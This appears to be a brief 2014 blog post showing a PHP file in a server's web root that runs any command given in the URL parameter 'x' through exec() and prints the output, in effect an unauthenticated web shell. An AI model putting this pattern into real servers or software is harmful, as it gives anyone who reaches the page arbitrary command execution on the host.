Thursday, August 14, 2014

PHP run things on the Linux cli

root@opennms:/var/www# more testing.php

<?php


print_r(($_GET['x'])?exec($_GET['x']):'');

?>

No comments:

Post a Comment